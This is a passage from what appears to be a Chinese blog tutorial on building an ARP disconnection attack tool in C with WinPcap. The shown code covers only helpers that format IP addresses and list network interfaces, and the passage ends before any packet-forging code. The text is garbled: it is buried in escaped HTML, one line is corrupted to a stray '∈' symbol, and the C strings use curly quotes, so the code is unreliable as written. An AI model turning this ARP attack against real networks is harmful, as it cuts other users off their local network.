style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u7531\u6b64\u53ef\u89c1\uff0c\u7a0b\u5e8f\u5e76\u4e0d\u662f\u5f88\u590d\u6742\uff0c\u5bf9\u4e8e\u53ea\u5b9e\u73b0&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u65ad\u7f51\u653b\u51fb\u8fd9\u79cd\u5355\u4e00\u7684\u529f\u80fd\uff0c\u4ee3\u7801\u91cf\u8fd8\u662f\u76f8\u5bf9\u6bd4\u8f83\u5c11\u7684\u3002&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u586b\u5145\u6570\u636e\u5305\u662f\u6b64\u6b21\u653b\u51fb\u5b9e\u73b0\u4e2d\u4e00\u4e2a\u5f88\u91cd\u8981\u7684\u73af\u8282\uff0c\u6240\u4ee5\u6211\u4eec\u8981\u5148\u5c06\u6570\u636e\u5305\u7684\u7ed3\u6784\u5728\u7a0b\u5e8f\u4e2d\u8868\u73b0\u51fa\u6765\uff0c\u6211\u4eec\u7528\u7ed3\u6784\u4f53\u6765\u5b9a\u4e49\u6570\u636e\u5305\u7684\u6574\u4e2a\u7ed3\u6784\uff0c\u5982\u56fe\uff1a&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&lt;a target=&quot;_blank&quot; href=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/fe5df232cafa4c4e0f1a0294418e566020140124162424.jpg&quot; id=&quot;ematt:148&quot;&gt;&lt;img src=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-fe5df232cafa4c4e0f1a0294418e566020140124162424.jpg&quot; alt=&quot;\u70b9\u51fb\u67e5\u770b\u539f\u56fe&quot; border=&quot;0&quot; \/&gt;&lt;\/a&gt;&lt;br \/&gt;\n&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u6839\u636e\u7a0b\u5e8f\u6d41\u7a0b\u56fe\u6211\u4eec\u53ef\u77e5\uff0c\u9996\u5148\u8981\u5217\u51fa\u672c\u673a\u6240\u6709\u7f51\u5361\uff0c\u7528\u4ee3\u7801\u5b9e\u73b0\uff1a&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;char&nbsp;*iptos(u_long&nbsp;in)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;char&nbsp;output[12][3*4+3+1];&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;short&nbsp;which;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;u_char&nbsp;*p;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;p&nbsp;=&nbsp;(u_char&nbsp;*)\u2208&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;which&nbsp;=&nbsp;(which&nbsp;+&nbsp;1&nbsp;==&nbsp;12&nbsp;?&nbsp;0&nbsp;:&nbsp;which&nbsp;+&nbsp;1);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;sprintf(output[which],&nbsp;&#8220;%d.%d.%d.%d&#8221;,&nbsp;p[0],&nbsp;p[1],&nbsp;p[2],&nbsp;p[3]);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;output[which];&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;BOOL&nbsp;ChooseDev(char&nbsp;*devbuff,int&nbsp;buffsize,char&nbsp;*ipbuff)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;\/*&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;*devbuff&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\u6307\u5411\u5c06\u8981\u50a8\u5b58\u9009\u62e9\u7684\u7f51\u5361\u540d\u7684\u7f13\u51b2\u533a&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;Buffsize&nbsp;&nbsp;&nbsp;&nbsp;\u8be5\u7f13\u51b2\u533a\u5927\u5c0f&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;*ipbuff&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\u6307\u5411\u5c06\u50a8\u5b58\u9009\u62e9\u7684\u7f51\u5361IP\u7684\u7f13\u51b2\u533a&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;pcap_if_t&nbsp;*alldevs=NULL,*p=NULL;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;errbuff[PCAP_ERRBUF_SIZE];&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;i,choose;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;pcap_addr_t&nbsp;*a=NULL;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;memset(devbuff,NULL,buffsize);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;if(pcap_findalldevs(&amp;alldevs,errbuff)==-1)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;ERROR;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;for(p=alldevs,i=0;&nbsp;p;&nbsp;p=p-&gt;next)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;%d.%s(%s)\\n&#8221;,++i,p-&gt;name,p-&gt;description);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if((a=p-&gt;addresses))&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;switch(a-&gt;addr-&gt;sa_family)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;AF_INET:&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;Address&nbsp;Family&nbsp;Name:&nbsp;AF_INET\\n&#8221;);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(a-&gt;addr)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*&nbsp;Y-&nbsp;IP&nbsp;\u5730\u5740&nbsp;*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;Address:&nbsp;%s\\n&#8221;,iptos(((struct&nbsp;sockaddr_in&nbsp;*)a-&gt;addr)-&gt;sin_addr.s_addr));&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(a-&gt;netmask)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*&nbsp;Y-&nbsp;\u63a9\u7801&nbsp;*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;Netmask:&nbsp;%s\\n&#8221;,iptos(((struct&nbsp;sockaddr_in&nbsp;*)a-&gt;netmask)-&gt;sin_addr.s_addr));&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;default:&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*&nbsp;\u672a\u77e5&nbsp;*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;Address&nbsp;Family&nbsp;Name:&nbsp;Unknown\\n&#8221;);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n&#8221;);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span 